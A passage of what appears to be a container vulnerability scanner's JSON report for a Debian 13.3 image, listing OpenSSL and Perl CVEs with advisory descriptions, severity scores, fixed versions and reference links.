TLSA-based\nserver authentication, when paired with uncommon server DANE TLSA records, may\nresult in a use-after-free and/or double-free on the client side.\n\nImpact summary: A use after free can have a range of potential consequences\nsuch as the corruption of valid data, crashes or execution of arbitrary code.\n\nHowever, the issue only affects clients that make use of TLSA records with both\nthe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\nusage.\n\nBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\nrecommends that clients treat as 'unusable' any TLSA records that have the PKIX\ncertificate usages. These SMTP (or other similar) clients are not vulnerable\nto this issue. Conversely, any clients that support only the PKIX usages, and\nignore the DANE-TA(2) usage are also not vulnerable.\n\nThe client would also need to be communicating with a server that publishes a\nTLSA RRset with both types of TLSA records.\n\nNo FIPS modules are affected by this issue, the problem code is outside the\nFIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 1, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "V3Score": 3.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28387", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b", "https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe", "https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3", "https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7", "https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177", "https://nvd.nist.gov/vuln/detail/CVE-2026-28387", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28387", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.7Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28388", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl-provider-legacy@3.5.4-1~deb13u2", "PkgName": "openssl-provider-legacy", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "adffbb29b78f8e69" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28388", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dc1f3dbcd462c887949251d1dfd3250307fc2890b83a27e5476379527845ae64", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in delta CRL processing", "Description": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28388", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e", "https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139", "https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3", "https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8", "https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726", "https://nvd.nist.gov/vuln/detail/CVE-2026-28388", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28388", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.863Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28389", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl-provider-legacy@3.5.4-1~deb13u2", "PkgName": "openssl-provider-legacy", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "adffbb29b78f8e69" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28389", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:91a855d058647f5269f04edea2df24fc2106dd42aa7b6fe6a5748c0df5f49896", "Title": "openssl: OpenSSL: Denial of Service vulnerability in CMS processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\nprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\nis examined without checking for its presence. This results in a NULL\npointer dereference if the field is missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28389", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/advisories/GHSA-7x88-9hgc-69gf", "https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5", "https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616", "https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f", "https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a", "https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686", "https://nvd.nist.gov/vuln/detail/CVE-2026-28389", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28389", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.03Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28390", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl-provider-legacy@3.5.4-1~deb13u2", "PkgName": "openssl-provider-legacy", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "adffbb29b78f8e69" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28390", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:346183233407e1e5a83e35d7094382b109f84820b3ff868b7cb732c97f9c31ad", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in CMS EnvelopedData processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyTransportRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\nRSA-OAEP encryption is processed, the optional parameters field of\nRSA-OAEP SourceFunc algorithm identifier is examined without checking\nfor its presence. This results in a NULL pointer dereference if the field\nis missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22312", "https://access.redhat.com/errata/RHSA-2026:22313", "https://access.redhat.com/security/cve/CVE-2026-28390", "https://bugzilla.redhat.com/2456314", "https://bugzilla.redhat.com/show_bug.cgi?id=2456314", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28390", "https://errata.almalinux.org/9/ALSA-2026-22313.html", "https://errata.rockylinux.org/RLSA-2026:22312", "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc", "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6", "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4", "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788", "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75", "https://linux.oracle.com/cve/CVE-2026-28390.html", "https://linux.oracle.com/errata/ELSA-2026-50345.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-28390", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28390", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.19Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-45447", "VendorIDs": [ "DSA-6335-1" ], "PkgID": "openssl-provider-legacy@3.5.4-1~deb13u2", "PkgName": "openssl-provider-legacy", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "adffbb29b78f8e69" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.6-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45447", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1dcf080160477daf0d3cdc2790a23844fed85d7d80a16b8618c71ec2c7e4891e", "Title": "openssl: Heap Use-After-Free in OpenSSL PKCS7_verify()", "Description": "Issue summary: A specially crafted PKCS#7 or S/MIME signed message could\ntrigger a use-after-free during PKCS#7 signature verification.\n\nImpact summary: A use-after-free may result in process crashes, heap\ncorruption, or potentially remote code execution.\n\nWhen processing a PKCS#7 or S/MIME signed message, if the SignedData\ndigestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may\nincorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent\nuse of the BIO by the calling application results in a use-after-free\ncondition.\n\nIn the common case this occurs when the application later calls\nBIO_free() on the BIO originally passed to PKCS7_verify(). Depending\non allocator behavior and application-specific BIO usage patterns, this\nmay result in a crash or other memory corruption. In some application\ncontexts this may potentially be exploitable for remote code execution.\n\nApplications that process PKCS#7 or S/MIME signed messages using OpenSSL\nPKCS#7 APIs may be affected. Applications using the CMS APIs for this\nprocessing are not affected.\n\nThe FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "julia": 3, "oracle-oval": 2, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25237", "https://access.redhat.com/errata/RHSA-2026:25239", "https://access.redhat.com/errata/RHSA-2026:26275", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:34102", "https://access.redhat.com/errata/RHSA-2026:35869", "https://access.redhat.com/errata/RHSA-2026:36215", "https://access.redhat.com/errata/RHSA-2026:36217", "https://access.redhat.com/errata/RHSA-2026:39009", "https://access.redhat.com/errata/RHSA-2026:39012", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:44438", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:58563", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:66524", "https://access.redhat.com/security/cve/CVE-2026-45447", "https://bugzilla.redhat.com/2481898", "https://bugzilla.redhat.com/show_bug.cgi?id=2481879", "https://bugzilla.redhat.com/show_bug.cgi?id=2481880", "https://bugzilla.redhat.com/show_bug.cgi?id=2481881", "https://bugzilla.redhat.com/show_bug.cgi?id=2481882", "https://bugzilla.redhat.com/show_bug.cgi?id=2481884", "https://bugzilla.redhat.com/show_bug.cgi?id=2481885", "https://bugzilla.redhat.com/show_bug.cgi?id=2481887", "https://bugzilla.redhat.com/show_bug.cgi?id=2481890", "https://bugzilla.redhat.com/show_bug.cgi?id=2481891", "https://bugzilla.redhat.com/show_bug.cgi?id=2481892", "https://bugzilla.redhat.com/show_bug.cgi?id=2481893", "https://bugzilla.redhat.com/show_bug.cgi?id=2481894", "https://bugzilla.redhat.com/show_bug.cgi?id=2481896", "https://bugzilla.redhat.com/show_bug.cgi?id=2481897", "https://bugzilla.redhat.com/show_bug.cgi?id=2481898", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34181", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42767", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42768", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42770", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45445", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45446", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45447", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9076", "https://errata.almalinux.org/9/ALSA-2026-44438.html", "https://errata.rockylinux.org/RLSA-2026:25239", "https://github.com/advisories/GHSA-f684-cpcq-j565", "https://github.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://github.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://linux.oracle.com/cve/CVE-2026-45447.html", "https://linux.oracle.com/errata/ELSA-2026-50379.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45447", "https://openssl-library.org/news/secadv/20260609.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45447.json", "https://ubuntu.com/security/notices/USN-8414-1", "https://ubuntu.com/security/notices/USN-8414-2", "https://www.cve.org/CVERecord?id=CVE-2026-45447" ], "PublishedDate": "2026-06-09T17:17:19.277Z", "LastModifiedDate": "2026-09-18T13:18:26.343Z" }, { "VulnerabilityID": "CVE-2026-84782", "VendorIDs": [ "DSA-6531-1" ], "PkgID": "openssl-provider-legacy@3.5.4-1~deb13u2", "PkgName": "openssl-provider-legacy", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "adffbb29b78f8e69" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u3", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84782", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:456fa1719abd5219255262319ac3bde36bcfc47bd1af0cc3c81dc6fbfb9599b0", "Title": "openssl: compat-openssl: openssl: Information disclosure via DTLS handshake retransmission", "Description": "Issue summary: The DTLS retransmission logic does not correctly handle\na handshake message write that is suspended part-way through.\nThe retransmitted message can be read past the message buffer and\nthe retransmission overwrites the internal state the suspended write\nneeds to resume correctly.\n\nImpact summary: The retransmitted message can disclose a heap memory\nto the peer as plaintext handshake data or cause a crash and a Denial\nof Service when the read reaches an unmapped memory region.\n\nCWE: CWE-125: Out-of-bounds Read\n\nDescription: DTLS handshake messages can be written out in multiple\nfragments, and a write can suspend mid-message (returning WANT_WRITE)\nif the underlying transport temporarily cannot accept more data. While\nsuch a write is suspended, the DTLS retransmission timer may\nindependently fire and ask the retransmission logic to resend an\nearlier, already-acknowledged-as-sent message from its retransmit\nqueue.\n\nThe retransmission logic reused the same internal buffer and position\ntracking as the message that was still being written, without\nresetting the position back to the start of the message being\nretransmitted. As a result the retransmission was read starting from\nwherever the suspended write had left off, producing a mislabelled\nmessage whose body was leftover bytes from the other, larger message\nstill in flight - content that was never meant to be sent at that\npoint, and which could run past the end of the allocated buffer.\n\nSeparately, even when the retransmission is positioned correctly,\nallowing it to run to completion while another write is suspended\noverwrites the same shared bookkeeping that the suspended write\ndepends on to resume. When the application later resumes the\nsuspended write (via a subsequent SSL_read(), SSL_write(),\nSSL_accept(), or SSL_connect() call), it finds that bookkeeping in a\nstate inconsistent with the message and aborts the process in\na debugging build.\n\nThe fix resets the retransmission's read position to the start of the\nmessage before resending, and skips retransmission entirely whenever a\nhandshake write is still suspended, deferring to the next call that\nresumes it instead.\n\nFIPS impact: no\nThe affected code is outside the FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77396", "https://access.redhat.com/errata/RHSA-2026:80514", "https://access.redhat.com/security/cve/CVE-2026-84782", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2537080", "https://bugzilla.redhat.com/show_bug.cgi?id=2537080", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84782", "https://errata.almalinux.org/9/ALSA-2026-80514.html", "https://errata.rockylinux.org/RLSA-2026:77396", "https://github.com/openssl/openssl/commit/906cf0ef1c85ca40ce69163e9086d6d3fe292943", "https://github.com/openssl/openssl/commit/9f6b34422af7eb5dac61322e33dac1ae989fa628", "https://github.com/openssl/openssl/commit/a383dafdd754eb5b22bf45e37e1bff9d07277a58", "https://github.com/openssl/openssl/commit/d951e02ede8f6a6ff8150546db44b34f0518192c", "https://linux.oracle.com/cve/CVE-2026-84782.html", "https://linux.oracle.com/errata/ELSA-2026-85968.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-84782", "https://openssl-library.org/news/secadv/20260929.txt", "https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782", "https://ubuntu.com/security/notices/USN-8847-1", "https://ubuntu.com/security/notices/USN-8847-2", "https://www.cve.org/CVERecord?id=CVE-2026-84782" ], "PublishedDate": "2026-09-29T16:17:12.5Z", "LastModifiedDate": "2026-10-08T01:20:56.003Z" }, { "VulnerabilityID": "CVE-2026-13221", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:391b84f1fe3f5c911b550b3e74b39f28b281c854810b31a520a96f0c5ff41501", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d45378ae6e8b3a36effab34f21ea0d1f63298fd1da24d58a75f1ac6ef7f72f2d", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, 